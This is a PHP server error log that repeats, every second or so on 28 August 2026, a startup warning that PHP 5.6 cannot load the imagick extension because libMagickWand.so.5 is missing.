[28-Aug-2026 08:34:46 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:34:47 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:34:47 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:34:48 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:34:48 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:34:49 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:34:49 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:34:50 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:34:50 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:34:51 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:34:51 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:34:52 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:34:52 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:34:53 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:34:53 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:34:54 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:34:54 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:34:55 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:34:55 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:34:56 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:34:56 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:34:57 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:34:57 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:34:58 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:34:58 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:34:59 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:34:59 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:35:00 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:35:00 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:35:01 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:35:01 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:35:02 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:35:02 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:35:03 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:35:03 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:35:04 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:35:04 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:35:05 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:35:05 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:35:06 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:35:06 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:35:07 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:35:07 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:35:08 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:35:08 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:35:09 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:35:09 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:35:10 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:35:10 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:35:11 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:35:11 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:35:12 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:35:12 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:35:13 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:35:13 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:35:14 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:35:14 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:35:15 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:35:15 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:35:16 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:35:17 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:35:19 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:35:20 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:35:20 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:35:21 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:35:22 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:35:23 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:35:27 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:35:29 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:35:29 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:36:54 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:36:54 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:36:55 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:36:55 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:36:56 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:36:56 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:36:57 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:37:00 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:37:01 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:37:01 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:37:02 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:38:39 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:38:40 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:38:40 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:38:41 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:38:41 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:38:49 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:38:49 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:38:50 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:38:50 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:38:51 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:38:51 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:38:52 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:38:52 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:38:53 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:38:53 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:38:54 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:38:54 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:38:55 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:38:55 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:38:56 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:38:56 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:38:57 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:38:57 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:38:58 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:38:58 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:38:59 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:38:59 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:39:00 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:39:01 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:39:02 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:39:02 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:39:03 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:39:04 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:39:04 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:39:07 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:39:15 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:39:15 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:39:16 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:39:16 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
